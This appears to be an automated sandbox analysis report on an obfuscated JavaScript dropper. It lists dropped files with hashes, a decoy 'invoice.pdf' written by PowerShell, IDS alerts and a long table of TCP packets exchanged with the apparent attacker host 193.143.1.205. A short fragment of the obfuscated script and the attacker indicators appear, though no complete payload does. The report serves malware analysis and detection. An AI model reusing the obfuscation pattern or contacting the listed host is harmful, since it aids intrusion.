Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\49c2106f-b9f9-4ad9-b33c-0b365e99ebbe.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c6fa96ea-d2f6-4dbc-935d-7f28b06d3b5e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dfc43e51-0665-4dd9-889e-be6a4273d7d8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f4390b39-dc47-4218-ac9f-3713f9283135.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16406), with CRLF line terminators
Entropy (8bit):	4.913318267273606
TrID:
File name:	2835523725329532164.js
File size:	19'843 bytes
MD5:	3e445c250da264f478c308d475b1b071
SHA1:	37b804a397d5697f7c47dd1ee51dc7603faa201b
SHA256:	0596340a9931e2ef016f8e9f50864334ca03d592cff417962f39ff1d5f4da2f8
SHA512:	70e4f721016291c2dcbb72b5f9d7770566ad96fddaa61308d19297ea876d86c8e7e8b67e73a79c97eb5ed9969a52439fc1f263ef4b9957ebbd67aba54dbdc7db
SSDEEP:	192:xu9zPGlzxfyjB/Joi7/50ZJimxRHObrNWc1lUpju3jTYqsgK5Q:YhelxKl+/MbXCpj+TYqsg5
TLSH:	68924381FC0382EEC0D95BA6544F04EBA1F8E54E4DF994B27436E0E459917E3A0F68BD
File Content Preview:	function idfmsmk(){gyfrf=[1031,3079,5127,4103,2055,3072];var voqltf=this[rzxvwpsum+krotpckn+qgkrqbz+ohdgosvnn+qbkbh+sbbtkc+aazbtqns+olrclqbp](this[tbqfi+hoahm+gqnvbup+qgkrqbz+aqknpoef+rzxvwpsum+olrclqbp][tened+qgkrqbz+qbkbh+krotpckn+olrclqbp+qbkbh+gsmla+h

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:07:34.797467+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49710	193.143.1.205	80	TCP
2025-01-10T22:07:36.887123+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49722	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:34.002561092 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.007757902 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.007838011 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.011118889 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.016091108 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797360897 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797380924 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797391891 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797409058 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797421932 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797432899 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797446012 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797457933 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797466993 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.797470093 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797518015 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.797535896 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.797550917 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.846781015 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.846899033 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.846959114 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.916518927 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916542053 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916553974 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916567087 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916580915 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916609049 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.916656017 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.916937113 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916958094 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916968107 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.916969061 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.916981936 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917000055 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.917552948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917566061 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917587042 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917592049 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.917598963 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917612076 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.917615891 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.917649984 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.918577909 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.918590069 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.918601990 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.918612957 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.918627024 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.918637037 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.918653011 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.919377089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.919389009 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.919413090 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.965265989 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:34.972532988 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.972572088 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:34.972615957 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.007994890 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.008011103 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.008023024 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.008076906 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.037849903 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.037867069 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.037894011 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.037930012 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.037941933 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.037955999 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.037961960 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.037987947 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.038122892 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038181067 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038213015 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.038351059 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038362980 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038374901 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038398027 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.038685083 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038695097 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038708925 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038716078 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.038719893 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038733006 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.038743019 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.038760900 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.039272070 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039366007 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039376974 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039390087 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039397001 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.039402962 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039422989 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.039963007 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039974928 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039985895 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.039995909 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.039997101 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040010929 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040011883 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.040021896 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040035009 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040043116 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.040076971 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.040812016 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040834904 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040853977 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040863991 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.040867090 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040896893 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.040909052 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040920019 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040932894 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.040951967 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.041774988 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041786909 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041800022 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041810989 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.041831017 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041834116 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.041841984 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041851997 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041867018 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.041892052 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.041917086 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.058717966 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.058731079 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.058742046 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.058773041 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.094135046 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.094149113 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.094161987 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.094171047 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.094188929 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.129923105 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.129940033 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.129960060 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.129971981 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.129982948 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.129982948 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.129996061 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.130004883 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.130043983 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159262896 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159291029 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159334898 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159440041 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159450054 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159488916 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159511089 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159523010 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159543037 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159553051 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159562111 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159564972 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159588099 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159828901 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159878969 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159903049 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159915924 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.159960032 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.159991026 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160054922 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160065889 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160109043 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160121918 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160134077 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.160144091 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.160490990 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160504103 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160518885 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.160526991 CET	49710	80	192.168.2.7	193.143.1.205
